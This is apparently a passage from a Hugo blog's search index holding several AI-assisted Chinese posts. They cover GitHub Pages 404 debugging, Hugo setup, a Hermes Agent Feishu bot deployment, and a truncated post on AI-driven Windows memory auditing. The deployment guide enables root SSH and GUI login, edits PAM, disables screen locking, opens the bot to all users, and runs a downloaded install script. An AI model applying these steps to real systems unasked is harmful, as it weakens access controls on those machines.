deploy → Deploy to GitHub Pages → success ✅ Artifact 也上传了（github-pages 182 KB），看起来一切正常。\n但 curl -sI https://xxx.github.io/ 永远返回 404。\n调 Pages API：\ncurl https://api.github.com/repos/xxx/xxx.github.io/pages # {\u0026#34;message\u0026#34;: \u0026#34;Not Found\u0026#34;, \u0026#34;status\u0026#34;: \u0026#34;404\u0026#34;} 根因：deploy-pages 需要 Pages 站点以 \u0026ldquo;GitHub Actions\u0026rdquo; 作为 Source 预先激活。如果之前用过 \u0026ldquo;Deploy from a branch\u0026rdquo; 模式，切换到 \u0026ldquo;GitHub Actions\u0026rdquo; 后 Pages 环境可能没有正确初始化——Actions 报成功，但实际没有写入目标。\n这种情况的解法：要么手动在 Settings → Pages 反复切换 Source 触发重新激活，要么直接换方案。\n坑 6：pages-build-deployment 幽灵 Workflow 切换部署方案的过程中，Actions 列表里出现了两类 workflow：\nWorkflow 名 触发方式 说明 Deploy Hugo site to Pages push to main 我自己写的 pages build and deployment 自动触发 GitHub 自带的 pages-build-deployment 是 GitHub 在 Pages Source 设为 \u0026ldquo;Deploy from a branch\u0026rdquo; 时自动跑的内置构建。它用 Jekyll 处理你的分支内容——如果你的分支根目录是 Hugo 源码（没有 index.html），这个内置 workflow 会构建失败。\n结果就是 Actions 列表里红一片，但其实跟你的自定义部署没关系。\n教训：看 Actions 失败时先看 workflow 名字，别把 GitHub 内置的 pages-build-deployment 当成自己的。\n坑 7：Source 设置和部署方案不匹配 GitHub Pages 有两种 Source 模式，必须和你的 Workflow 对应：\n┌─────────────────────────────────────────────┐ │ Source: GitHub Actions │ │ → 对应 deploy-pages@v4 方案 │ │ → Workflow 直接部署，不走分支 │ ├─────────────────────────────────────────────┤ │ Source: Deploy from a branch │ │ → 对应 gh-pages 分支方案 │ │ → Workflow 推静态文件到分支，GitHub 发布 │ └─────────────────────────────────────────────┘ 混用会导致：\n用 deploy-pages 但 Source 选了 branch → 部署成功但 404 用 gh-pages 分支但 Source 选了 GitHub Actions → 分支没人发布 这次最终的组合：\nWorkflow: peaceiris/actions-gh-pages@v4 推到 gh-pages 分支 Pages Source: Deploy from a branch → gh-pages / root 坑 8：actions-gh-pages v3 在新 runner 上有兼容问题 peaceiris/actions-gh-pages@v3 在较新的 GitHub Actions runner 上偶尔会出问题（Node.js 20 deprecation warning）。换成 @v4 后稳定了：\n- uses: peaceiris/actions-gh-pages@v4 with: github_token: ${{ secrets.GITHUB_TOKEN }} publish_dir: ./public 最终可用 Workflow name: Deploy Hugo site to Pages on: push: branches: [\u0026#34;main\u0026#34;] workflow_dispatch: permissions: contents: write concurrency: group: \u0026#34;pages\u0026#34; cancel-in-progress: false jobs: build-deploy: runs-on: ubuntu-latest env: HUGO_VERSION: 0.163.3 steps: - uses: actions/checkout@v4 with: submodules: recursive fetch-depth: 0 - uses: peaceiris/actions-hugo@v3 with: hugo-version: ${{ env.HUGO_VERSION }} extended: true - run: hugo --minify - uses: peaceiris/actions-gh-pages@v4 with: github_token: ${{ secrets.GITHUB_TOKEN }} publish_dir: ./public Pages 设置：Source → Deploy from a branch → gh-pages → / (root)\n排查思路总结 遇到 Pages 404 时按这个顺序排查：\n看 Pages API：curl https://api.github.com/repos/{owner}/{repo}/pages，返回 404 说明 Pages 站点根本没激活 看 Source 设置：和你的部署方案是否匹配 看 Actions 是哪个 workflow 失败：区分自己的 workflow 和 GitHub 内置的 pages-build-deployment 检查 .nojekyll：Hugo 站点必须加 清 CDN 缓存：部署成功但 404 可能是缓存，加 query param 绕过验证 # 绕过 CDN 缓存检查真实状态 curl -s \u0026#34;https://xxx.github.io/?nocache=$(date +%s%N)\u0026#34; | grep -o \u0026#34;你的站点名\u0026#34; 一句话总结：Actions 全绿 ≠ 站点上线。GitHub Pages 的部署链路比看起来复杂，Source 设置、环境激活、Jekyll 处理、CDN 缓存，任何一环出问题都会 404。遇到问题别只看 Actions 绿不绿，用 API 和 curl 验证实际状态。\n","permalink":"https://t1mmoc.github.io/posts/github-pages-404-debug/","summary":"\u003cp\u003e上一篇写了搭建博客的三个坑，本以为搞定了。结果发完文章一看——\u003cstrong\u003e主页 404，点任何链接也 404\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e更离谱的是：GitHub Actions 全绿，Pages 设置显示 \u0026ldquo;Your site is live\u0026rdquo;，但 \u003ccode\u003ecurl\u003c/code\u003e 回来永远是 \u003ccode\u003e404 Not Found\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e这篇文章记录后续排查中踩的更多坑。\u003c/p\u003e\n\u003ch2 id=\"坑-4缺少-nojekyll\"\u003e坑 4：缺少 \u003ccode\u003e.nojekyll\u003c/code\u003e\u003c/h2\u003e\n\u003cp\u003eGitHub Pages 默认会用 Jekyll 处理静态文件。Hugo 生成的 \u003ccode\u003eassets/\u003c/code\u003e 目录下有带 hash 的文件名，Jekyll 可能会忽略或错误处理这些文件。\u003c/p\u003e","title":"【AIGC】GitHub Pages 全绿却 404？一次离谱的部署 Debug 实录"},{"content":"周末想搭个个人博客，选型 Hugo + PaperMod + GitHub Pages。看起来简单的三板斧，实际踩了几个坑，记录一下。\n坑 1：PaperMod v8 的 TOML 配置变了 hugo new site 生成的是空模板，照着网上的 PaperMod 配置教程贴进去，hugo 直接报错：\nunmarshal failed: toml: key homeInfoParams should be a table, not a value unmarshal failed: toml: expected editPost to be a table, not a value PaperMod 从 v8 开始，editPost、homeInfoParams 等参数从简单的 key=value 改成了 table 结构：\n# 旧写法（弃用） homeInfoParams = true editPost = true editPostURL = \u0026#34;...\u0026#34; # 新写法 [params.homeInfoParams] Title = \u0026#34;...\u0026#34; Content = \u0026#34;...\u0026#34; [params.editPost] URL = \u0026#34;...\u0026#34; Text = \u0026#34;...\u0026#34; appendFilePath = true 同样的问题 profileMode 也需要写成 [params.profileMode] enabled = false，否则模板里 site.Params.profileMode.enabled 会报 can't evaluate field enabled in type bool。\n教训：跟上主题的大版本升级，不要直接复制旧博文的配置。\n坑 2：Hugo 0.158+ 废弃了 languageCode 部署时 Hugo 报警告：\nWARN deprecated: project config key languageCode was deprecated in Hugo v0.158.0 用 locale 替代即可，功能一致。\n坑 3：GitHub Pages 部署方案选型 最初用了 actions/deploy-pages + actions/upload-pages-artifact，Workflow 跑通了、Deploy 也 Success 了，但站点始终 404。\n排查了半小时才发现：GitHub Pages 需要手动选择部署源。在 Settings \u0026gt; Pages 里 Source 默认是 \u0026ldquo;Deploy from a branch\u0026rdquo;，而不是 \u0026ldquo;GitHub Actions\u0026rdquo;。两种方案的区别：\n方案 优点 缺点 Actions Deploy 干净，不污染分支 必须在 Pages 设置里手动切 Source 推到 gh-pages 分支 开箱即用，无需改 Pages 设置 多一个分支 最终改用 peaceiris/actions-gh-pages，把构建产物推到 gh-pages 分支，Pages Source 选 \u0026ldquo;Deploy from a branch\u0026rdquo; → gh-pages，一步到位不用纠结。\n完整 Workflow：\nname: Deploy Hugo site to Pages on: push: branches: [\u0026#34;main\u0026#34;] permissions: contents: write jobs: build-deploy: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: submodules: recursive - uses: peaceiris/actions-hugo@v3 with: hugo-version: \u0026#39;0.163.3\u0026#39; extended: true - run: hugo --minify - uses: peaceiris/actions-gh-pages@v3 with: github_token: ${{ secrets.GITHUB_TOKEN }} publish_dir: ./public 总结 这套方案最终效果：本地写 Markdown → push 到 main → GitHub Actions 自动构建 → 推到 gh-pages → 站点更新。全程不到 1 分钟。\n几个避坑要点：\n主题 config 优先参考官方 exampleSite 而不是网上的教程 Hugo languageCode → locale GitHub Pages 部署选 gh-pages 分支比 Actions Deploy 省心 ","permalink":"https://t1mmoc.github.io/posts/hugo-papermod-pitfalls/","summary":"\u003cp\u003e周末想搭个个人博客，选型 Hugo + PaperMod + GitHub Pages。看起来简单的三板斧，实际踩了几个坑，记录一下。\u003c/p\u003e\n\u003ch2 id=\"坑-1papermod-v8-的-toml-配置变了\"\u003e坑 1：PaperMod v8 的 TOML 配置变了\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003ehugo new site\u003c/code\u003e 生成的是空模板，照着网上的 PaperMod 配置教程贴进去，\u003ccode\u003ehugo\u003c/code\u003e 直接报错：\u003c/p\u003e","title":"【AIGC】Hugo + PaperMod + GitHub Pages 搭建踩坑全记录"},{"content":"Hermes Agent 飞书 Bot 部署经验总结 记录在 Ubuntu 24.04 虚拟机上从零部署 Hermes Agent（NousResearch/hermes-agent），\n接入智谱 bigmodel 作为 LLM 后端，并打通飞书 WebSocket 双向消息的完整流程与踩坑点。\n时间：2026-07-05\n0. 准备清单 项目 说明 宿主机 Windows 11 + PowerShell 5.1 虚拟机 Ubuntu 24.04.3 LTS，VMWare Workstation，1 个 NAT 网络 VM IP 192.168.111.0/24 网段（按需替换） VM 用户 普通用户 vmuser（sudo 组）+ root（密码登录 + SSH key） 工具链 paramiko（Windows 端 SSH）、lark-oapi（飞书 SDK，hermes 依赖）、Python 3.12 飞书账号 已创建企业自建应用，开启了机器人能力，获得 App ID / App Secret LLM 凭据 智谱 bigmodel GLM_API_KEY（实名认证后免费档可用） 1. 虚拟机初始化 1.1 SSH key + root 登录 # 宿主机生成 ed25519 key ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 通过 paramiko 远程执行（避免在 VM 控制台操作）：\n# 关键步骤（伪代码，按顺序） # 1) 改 root 密码（unattended） echo \u0026#34;root:NEW_ROOT_PW\u0026#34; | chpasswd # 2) 写 root 授权 key mkdir -p /root/.ssh \u0026amp;\u0026amp; chmod 700 /root/.ssh cat \u0026gt; /root/.ssh/authorized_keys \u0026lt;\u0026lt;\u0026lt; \u0026#34;ssh-ed25519 AAAA... user@host\u0026#34; chmod 600 /root/.ssh/authorized_keys # 3) 改 sshd 配置 sed -i \u0026#39;s/^#\\?PermitRootLogin.*/PermitRootLogin yes/\u0026#39; /etc/ssh/sshd_config sed -i \u0026#39;s/^#\\?PubkeyAuthentication.*/PubkeyAuthentication yes/\u0026#39; /etc/ssh/sshd_config sshd -t \u0026amp;\u0026amp; systemctl restart ssh 坑：Ubuntu 24 默认锁 root 密码登录；/etc/pam.d/login 不引用 pam_securetty，所以 securetty 改不改都无所谓。GDM 登录界面默认隐藏 UID=0 用户，要登录 root 必须点 \u0026ldquo;未列出？\u0026rdquo; 手动输入。\n1.2 国内镜像源 # APT cat \u0026gt; /etc/apt/sources.list.d/aliyun.list \u0026lt;\u0026lt;EOF deb https://mirrors.aliyun.com/ubuntu noble main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu noble-security main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu noble-updates main restricted universe multiverse deb https://mirrors.aliyun.com/ubuntu noble-backports main restricted universe multiverse EOF apt update # 52MB, 7s # pip mkdir -p ~/.pip cat \u0026gt; ~/.pip/pip.conf \u0026lt;\u0026lt;EOF [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple timeout = 120 trusted-host = pypi.tuna.tsinghua.edu.cn [install] trusted-host = pypi.tuna.tsinghua.edu.cn EOF 2. 安装 Hermes Agent 2.1 下载与定制安装脚本 # 装基础工具 apt install -y curl wget # 下载 install.sh curl -fsSL https://res1.hermesagent.org.cn/install.sh -o /tmp/hermes_install.sh 坑 1：官方镜像慢。res1 镜像下 60MB 源码包要 15min+。解决方案：sed 替换 MIRROR_BASE_URL 强制走 GitHub：\n# 替换默认镜像为无效值，让 install.sh 回退到 GitHub 源 sed -i \u0026#39;s|MIRROR_BASE_URL=\u0026#34;${HERMES_MIRROR_BASE_URL:-https://res1.hermesagent.org.cn}\u0026#34;|MIRROR_BASE_URL=\u0026#34;${HERMES_MIRROR_BASE_URL:-https://invalid-mirror.invalid}\u0026#34;|\u0026#39; /tmp/hermes_install.sh GitHub 60MB tarball 实测 1s 传完（前提：网络能直连 GitHub，否则需要 proxychains）。\n坑 2：setup wizard 失败。hermes setup 需要 TTY，SSH 远程跑会报 /dev/tty: 没有那个设备或地址。解决方案：直接跳过 setup，手工编辑 /root/.hermes/.env 和 config.yaml。\n2.2 安装核心组件 # 装运行时依赖 apt install -y python3-venv python3-dev build-essential libffi-dev # 执行安装（用清华 pip 源） HERMES_PIP_INDEX_URL=https://pypi.tuna.tsinghua.edu.cn/simple \\ bash /tmp/hermes_install.sh 安装步骤会自动：\n识别环境（Ubuntu） 检测 Python 3.12 警告缺 ripgrep/ffmpeg 但跳过 下载源码（GitHub 60MB） 创建 venv 装 pip 依赖（清华源） 创建 ~/.local/bin/hermes 软链 同步 72 个 skills # 验证 /root/.local/bin/hermes --version # Hermes Agent v0.18.0 (2026.7.1) 坑 3：PATH 不永久。root 登录新 shell 找不到 hermes。解决方案：\necho \u0026#39;export PATH=$HOME/.local/bin:$PATH\u0026#39; \u0026gt;\u0026gt; /root/.bashrc 3. 配置 LLM（智谱 bigmodel） 3.1 用对 provider Hermes 内置 zai provider 专门对接智谱。provider: \u0026quot;custom\u0026quot; 会强制走本地推理服务器路径，用 no-key-required placeholder，忽略所有 API key（含 OPENAI_API_KEY）。\n# /root/.hermes/config.yaml model: default: \u0026#34;glm-4.7\u0026#34; provider: \u0026#34;zai\u0026#34; # ← 不是 \u0026#34;custom\u0026#34; base_url: \u0026#34;https://open.bigmodel.cn/api/paas/v4\u0026#34; # /root/.hermes/.env GLM_API_KEY=\u0026lt;your_zhipu_key\u0026gt; GLM_BASE_URL=https://open.bigmodel.cn/api/paas/v4 3.2 模型名（实测 bigmodel 2026-07 端点） 用途 模型名 备注 文本主 glm-4.7 不要带 -Flash 后缀（端点上不存在） 视觉 glm-4.6v 基础版稳定；-flash 后缀会触发 1305 限流 视觉备选 glm-4v / glm-4v-plus 准确率低但能跑 文本兜底 glm-4.5-air 免费档限速更宽松 图像生成 cogview-3 / cogview-3-flash 不是视觉理解 bigmodel 错误码速查：\n1211 = 模型不存在 1302 = 账号 RPM 限速 1305 = 模型级限流 踩坑：用 hermes auth add zai 走认证流程更稳（Hermes CLI 会自动生成 BigModel credential record 并关联 zai provider）。\n3.3 视觉 / 辅助模型 auxiliary: vision: provider: \u0026#34;zai\u0026#34; model: \u0026#34;glm-4.6v\u0026#34; web_extract: provider: \u0026#34;zai\u0026#34; model: \u0026#34;glm-4.7\u0026#34; tts_audio_tags: provider: \u0026#34;zai\u0026#34; model: \u0026#34;\u0026#34; # 留空走主模型 session_search: provider: \u0026#34;zai\u0026#34; model: \u0026#34;\u0026#34; # 留空走主模型 # Smoke test hermes -z \u0026#34;Reply with exactly PONG\u0026#34; # → \u0026#34;PONG\u0026#34; 4. 接入飞书（lark-oapi WebSocket 模式） 4.1 飞书应用配置 飞书开放平台 → 创建企业自建应用 添加能力：机器人 权限管理：开通 im:message、im:message.group_at_msg、im:message.p2p_msg、im:message:send_as_bot 等 事件订阅：添加 im.message.receive_v1（接收消息） 复制 App ID + App Secret 注意：WebSocket 模式不需要配置回调 URL 或公网 webhook，比 webhook 模式省心。\n4.2 装依赖 source /root/.hermes/hermes-agent/venv/bin/activate pip install lark_oapi aiohttp websockets # → 装 lark_oapi-1.7.0, pycryptodome, requests-toolbelt 4.3 写 .env # 追加到 /root/.hermes/.env cat \u0026gt;\u0026gt; /root/.hermes/.env \u0026lt;\u0026lt;EOF # \u0026gt;\u0026gt;\u0026gt; Feishu (added by setup) \u0026gt;\u0026gt;\u0026gt; FEISHU_APP_ID=\u0026lt;your_app_id\u0026gt; FEISHU_APP_SECRET=\u0026lt;your_app_secret\u0026gt; FEISHU_DOMAIN=feishu FEISHU_HOME_CHANNEL= FEISHU_ALLOW_ALL_USERS=true GATEWAY_ALLOW_ALL_USERS=true FEISHU_DM_POLICY=open FEISHU_GROUP_POLICY=open # \u0026lt;\u0026lt;\u0026lt; Feishu \u0026lt;\u0026lt;\u0026lt; EOF chmod 600 /root/.hermes/.env 4.4 启动 Gateway 坑 4：后台启动。hermes gateway run 是阻塞进程；用 setsid + \u0026amp; 在 SSH exec_command 里会随父进程一起死。解决方案：用 Python Popen + start_new_session=True：\n# /tmp/spawn_gw.py import os, subprocess env = os.environ.copy() env[\u0026#34;LANG\u0026#34;] = \u0026#34;C.UTF-8\u0026#34; env[\u0026#34;LC_ALL\u0026#34;] = \u0026#34;C.UTF-8\u0026#34; env[\u0026#34;PATH\u0026#34;] = f\u0026#34;/root/.local/bin:{env.get(\u0026#39;PATH\u0026#39;,\u0026#39;\u0026#39;)}\u0026#34; log = open(\u0026#34;/tmp/gateway.log\u0026#34;, \u0026#34;wb\u0026#34;) subprocess.Popen( [\u0026#34;/root/.hermes/hermes-agent/venv/bin/hermes\u0026#34;, \u0026#34;gateway\u0026#34;, \u0026#34;run\u0026#34;, \u0026#34;--accept-hooks\u0026#34;], cwd=\u0026#34;/root\u0026#34;, env=env, stdin=subprocess.DEVNULL, stdout=log, stderr=subprocess.STDOUT, start_new_session=True, ) # 启动 python3 /tmp/spawn_gw.py # 验证 ps -ef | grep hermes # root 79399 1 ... hermes gateway run --accept-hooks tail -f /tmp/gateway.log # [Lark] [INFO] connected to wss://msg-frontier.feishu.cn/ws/v2?... 4.5 验证 # 用同 key 调飞书 OpenAPI 验证 token curl -X POST https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;app_id\u0026#34;:\u0026#34;\u0026lt;APP_ID\u0026gt;\u0026#34;,\u0026#34;app_secret\u0026#34;:\u0026#34;\u0026lt;APP_SECRET\u0026gt;\u0026#34;}\u0026#39; # → {\u0026#34;code\u0026#34;:0,\u0026#34;expire\u0026#34;:7200,\u0026#34;tenant_access_token\u0026#34;:\u0026#34;t-...\u0026#34;} 5. 防火墙 \u0026amp; 安全 5.1 关闭 GNOME 自动锁屏 # 7 项 gsettings（timmoc 和 root 用户都设） gsettings set org.gnome.desktop.session idle-delay 0 gsettings set org.gnome.desktop.screensaver lock-enabled false gsettings set org.gnome.desktop.screensaver lock-delay 0 gsettings set org.gnome.desktop.screensaver idle-activation-enabled false gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-ac-type \u0026#39;nothing\u0026#39; gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-battery-type \u0026#39;nothing\u0026#39; gsettings set org.gnome.settings-daemon.plugins.power idle-dim false 5.2 GDM 显示 root 登录 # /etc/pam.d/gdm-password: 注释掉第 3 行 user != root 那一行 # /etc/gdm3/custom.conf: AllowRoot=true, AutomaticLoginEnable=false # /var/lib/AccountsService/users/root: 新建 [User] SystemAccount=true systemctl restart gdm 5.3 防火墙 # Hermes 走出站 WebSocket，不需要入站端口 # 飞书 API: open.feishu.cn:443, msg-frontier.feishu.cn:443 # 出站无需特殊配置 6. 常见坑速查表 现象 根因 解决 hermes setup 报 /dev/tty: 没有那个设备或地址 无 TTY 跳过 setup，手工改 .env / config.yaml hermes -z 报 HTTP 401 provider: \u0026quot;custom\u0026quot; 强制 no-key 改 provider: \u0026quot;zai\u0026quot; bigmodel 报 \u0026ldquo;模型不存在 (1211)\u0026rdquo; 模型名拼写错（如加了 -Flash） 用 curl /v1/models 探测真实名单 bigmodel 报 \u0026ldquo;限速 (1305/1302)\u0026rdquo; 触发了模型级或账号级限流 换 -air 后缀或等几分钟 res1 镜像 15min 拉不完 60MB 镜像带宽差 sed 替换 MIRROR_BASE_URL 走 GitHub gateway 一启动就死 setsid + \u0026amp; 在 SSH exec_command 里不够 detached Python Popen + start_new_session=True gateway list 显示 \u0026ldquo;not running\u0026rdquo; 进程没 detach 或被杀 查 `ps -ef 飞书 bot 收不到消息 缺事件订阅 im.message.receive_v1 飞书开发者后台加权限 飞书 bot 拒收所有消息 默认 pairing/allowlist policy 设 FEISHU_ALLOW_ALL_USERS=true + *_POLICY=open lark_oapi ModuleNotFoundError hermes venv 没装 pip install lark_oapi aiohttp websockets 视觉模型返回 \u0026ldquo;yellow\u0026rdquo; 误判 glm-4.6v 准确率有限 试 glm-4.6v-plus 或人工校验 7. 运维命令速查 # 状态 hermes status hermes gateway list ps -ef | grep hermes # 日志 tail -f /tmp/gateway.log # 重启 pkill -9 -f \u0026#39;hermes gateway\u0026#39; python3 /tmp/spawn_gw.py # 改配置后生效 systemctl reload ssh # sshd_config # gateway 改 .env 需重启 8. 待办（可选） 配 systemd service 让 gateway 开机自启 装 Docker 让镜像源（daemon.json）真的能用 设 webhook 模式作为 WebSocket 的备份链路 用 hermes doctor --fix 修剩余的 config 版本落后问题 配 allowlist 白名单收紧访问（生产环境） 监控：用 hermes cron + 飞书通知做心跳 9. 关键文件清单 路径 作用 /root/.hermes/.env 凭据 + 平台配置（Feishu、GLM） /root/.hermes/config.yaml 模型 + auxiliary 段 /root/.hermes/hermes-agent/ Hermes 源码 + venv /root/.local/bin/hermes CLI 软链 /tmp/gateway.log Gateway 运行时 log /tmp/spawn_gw.py 重启脚本 /etc/ssh/sshd_config SSH 配置（root 登录） /etc/gdm3/custom.conf GDM root 登录 /etc/pam.d/gdm-password 注释掉 user != root ~/.pip/pip.conf pip 清华源 /etc/apt/sources.list.d/aliyun.list APT 阿里源 10. 总结 全流程 ~1.5 小时（含多个网络探测 + 失败重试）。\n关键经验：\nprovider: \u0026quot;zai\u0026quot; 不是 \u0026ldquo;custom\u0026rdquo; —— 单这一条卡了 20 分钟 res1 镜像慢 → sed 强制走 GitHub，提速 1000 倍 gateway 必须 Python Popen + start_new_session —— setsid 在 SSH exec_command 里不够 WebSocket 模式 \u0026gt; Webhook 模式 —— 不需要公网 IP/端口映射 lark_oapi 必须手工装 —— hermes 默认 deps 没包含飞书 SDK bigmodel 模型名无 -Flash 后缀 —— 端点上不存在，得用 curl /v1/models 探测 一次配置长期运行：零依赖人工干预，机器人 7×24 接收飞书消息。\n","permalink":"https://t1mmoc.github.io/posts/21137621/","summary":"\u003ch1 id=\"hermes-agent-飞书-bot-部署经验总结\"\u003eHermes Agent 飞书 Bot 部署经验总结\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e记录在 Ubuntu 24.04 虚拟机上从零部署 Hermes Agent（NousResearch/hermes-agent），\u003cbr\u003e\n接入智谱 bigmodel 作为 LLM 后端，并打通飞书 WebSocket 双向消息的完整流程与踩坑点。\u003cbr\u003e\n时间：2026-07-05\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"0-准备清单\"\u003e0. 准备清单\u003c/h2\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth\u003e项目\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003e说明\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e宿主机\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eWindows 11 + PowerShell 5.1\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e虚拟机\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eUbuntu 24.04.3 LTS，VMWare Workstation，1 个 NAT 网络\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eVM IP\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ccode\u003e192.168.111.0/24\u003c/code\u003e 网段（按需替换）\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eVM 用户\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e普通用户 \u003ccode\u003evmuser\u003c/code\u003e（sudo 组）+ root（密码登录 + SSH key）\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e工具链\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ccode\u003eparamiko\u003c/code\u003e（Windows 端 SSH）、\u003ccode\u003elark-oapi\u003c/code\u003e（飞书 SDK，hermes 依赖）、\u003ccode\u003ePython 3.12\u003c/code\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e飞书账号\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e已创建企业自建应用，\u003cstrong\u003e开启了机器人能力\u003c/strong\u003e，获得 App ID / App Secret\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eLLM 凭据\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e智谱 bigmodel \u003ccode\u003eGLM_API_KEY\u003c/code\u003e（实名认证后免费档可用）\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-虚拟机初始化\"\u003e1. 虚拟机初始化\u003c/h2\u003e\n\u003ch3 id=\"11-ssh-key--root-登录\"\u003e1.1 SSH key + root 登录\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# 宿主机生成 ed25519 key\nssh-keygen -t ed25519 -f ~/.ssh/id_ed25519\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e通过 paramiko 远程执行（避免在 VM 控制台操作）：\u003c/p\u003e","title":"【AIGC】Hermes Agent 飞书 Bot 部署经验总结"},{"content":"如何让 AI 找出偷偷藏在系统中偷吃内存的\u0026quot;元凶\u0026quot; 当你打开任务管理器，发现\u0026quot;使用中\u0026quot;内存比所有进程加起来多出好几个 GB，却找不到去哪了——这篇文章就是写给你的。更关键的是：这种枯燥到让人抓狂的\u0026quot;挨个查每个进程是干什么的\u0026quot;活儿，正好是 AI 的强项。\n背景：一个让人抓狂的痛点 排查 Windows 内存占用时，几乎所有人都会遇到这个场景：\n任务管理器显示\u0026quot;使用中 13 GB\u0026quot;，但把所有进程的内存加起来，只有 9 GB 左右。差了将近 4 GB，去哪了？\n更让人崩溃的是：\n网上教程清一色让你\u0026quot;关闭开机启动项\u0026quot;\u0026ldquo;结束不需要的进程\u0026rdquo;，但你的启动项已经够少了，该关的都关了，内存还是不够用 任务管理器的进程列表只展示了\u0026quot;可见进程\u0026quot;的内存，而内核态占用的物理内存（2-3 GB 量级）根本不在这个列表里——这是真正的\u0026quot;内存黑洞\u0026quot; 即便你知道要查内核内存，还有 90+ 个 svchost.exe 和 200+ 个内核驱动需要逐个搞清楚作用，人工查一遍少说几个小时 问题出在：这不是\u0026quot;找不到命令\u0026quot;，而是\u0026quot;找到了命令也没耐心挨个解读 300 多个进程和 200 多个驱动到底在干什么\u0026quot;。\n这恰恰是 AI（如 WorkBuddy）擅长的事——它能执行命令、读取输出、逐个查清每个项目的精确作用、归类汇总成图表，而你只需要给它一条足够明确的指令。\n这篇文章讲的就是：如何用一条提示词驱动 AI 完成全量内存排查，最终让图表加总与任务管理器的差距控制在 1 GB 以内。\n一条提示词驱动 AI 全量排查 整件事的关键就是下面这条提示词。把它丢给 AI（如 WorkBuddy，它有执行 PowerShell 命令、读取文件、生成可视化图表的能力），AI 会按这个标准去理解、执行、验证：\n\u0026ldquo;找找那些偷偷藏起来的深处的进程，排查目标：给出的图表加和要和任务管理器查到的内存占用差距在1GB以内。给我一张完整的图表，这次不需要排除任何项目，但是需要归类告诉我每个项目/每个项目组都是干啥的，不允许给笼统的描述，如\u0026rsquo;系统用\u0026rsquo;等，需要精确到作用。\u0026rdquo;\n这条提示词之所以能驱动 AI 产出深度排查结果，关键在于三个约束，每一个都堵死了 AI 偷懒的退路：\n1. \u0026ldquo;差距在 1GB 以内\u0026rdquo; — 给 AI 一个可量化的验证标准 没有这个约束，AI 很可能在列完进程后就收尾，用一句\u0026quot;大概就这样\u0026quot;糊弄过去。有了这个约束，AI 必须自我验证：把图表加总和任务管理器对比，如果差距超过 1 GB，说明还有内存没找出来，必须继续挖。\n这会逼迫 AI 去采集任务管理器进程列表里看不到的内核内存——非分页池、分页池、修改页列表。这才是差距的根源。\n2. \u0026ldquo;不需要排除任何项目\u0026rdquo; — 堵死跳过难归类项的退路 面对 300 多个进程，AI 的本能是挑内存大的 Top 20 讲一讲，跳过那些\u0026quot;看起来像系统的\u0026quot;小进程。这条约束要求全量覆盖，哪怕 0.1 MB 的进程也要归类。\n3. \u0026ldquo;不允许笼统描述，需精确到作用\u0026rdquo; — 逼迫逐个查证 没有这条，AI 会写出一堆\u0026quot;Windows 系统服务\u0026quot;\u0026ldquo;安全组件\u0026quot;\u0026ldquo;显卡相关\u0026rdquo;。这条约束要求每个项目都精确到具体功能，比如：\n❌ 笼统（AI 默认会这么写） ✅ 精确（提示词逼迫 AI 查证后的输出） 系统服务 svchost 托管 Winmgmt(WMI 硬件查询接口) + Schedule(计划任务) + Dnscache(DNS缓存) Windows 组件 dwm：将所有窗口画面合成为最终显示帧，处理动画/透明/圆角/阴影/高DPI缩放 显卡相关 nvlddmkm：GPU 内核模式驱动，管理显存分配和 GPU 命令提交；DXGKrnl：D3D/Vulkan 图形调度子系统 安全软件 MsMpEng：Defender 实时扫描引擎，通过文件系统过滤驱动拦截所有文件 IO 检查病毒 系统进程 lsass：本地安全机构，管用户认证、密码哈希、Kerberos 票据签发 要产出右列的描述，AI 必须真正去查每个进程的路径、命令行、托管服务、加载模块——这正是 AI 比人强的地方。\nAI 执行的六步方法论 AI 收到提示词后，会按以下步骤执行。这些步骤之间有严格的因果关联——前一步的差距会逼迫后一步的深入。\n第一步：用私有内存而非 WorkingSet（口径选择） Get-Process 默认返回的 WorkingSet64 包含共享内存（DLL 